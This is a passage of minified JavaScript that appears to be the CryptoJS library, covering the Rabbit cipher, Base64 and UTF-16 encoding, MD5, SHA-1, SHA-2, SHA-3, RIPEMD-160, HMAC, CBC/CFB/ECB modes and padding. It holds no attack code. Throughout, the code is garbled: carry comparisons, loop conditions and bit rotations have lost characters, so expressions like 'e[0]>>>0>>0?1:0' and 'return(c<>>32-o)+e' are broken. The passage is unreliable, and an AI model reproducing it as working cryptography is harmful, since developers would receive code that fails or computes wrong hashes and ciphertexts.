t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var 